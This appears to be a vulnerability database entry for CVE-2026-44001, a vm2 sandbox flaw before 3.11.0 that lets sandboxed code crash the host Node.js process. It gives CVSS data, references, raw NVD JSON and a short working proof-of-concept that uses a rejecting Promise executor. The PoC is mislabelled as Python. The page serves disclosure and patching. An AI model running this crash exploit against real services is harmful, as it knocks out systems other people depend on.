CVE-2026-44001

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE

vm2 < 3.11.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const {VM} = require('vm2');

// Initialize the vm2 sandbox
const vm = new VM();
console.log('Testing CVE-2026-44001 in vm2 v3.10.5...');

// Malicious code exploiting the Promise executor path
const untrustedCode = `
    new Promise((resolve, reject) => {
        // Triggering an unhandled rejection here escapes the sandbox
        reject('CVE-2026-44001 PoC');
    });
`;

try {
    vm.run(untrustedCode);
} catch (e) {
    // This catch block inside the sandbox might not catch the rejection
    console.log('Caught inside sandbox: ' + e);
}

// In vulnerable versions (< 3.11.0), the process will crash
// here due to the unhandled rejection propagating to the host.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44001
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44001
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44001/
[4] VulDB https://vuldb.com/cve/CVE-2026-44001
[5] https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44001", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:16.720", "lastModified": "2026-05-14T15:23:48.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-248"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "3.11.0", "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-hw58-p9xv-2mjh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}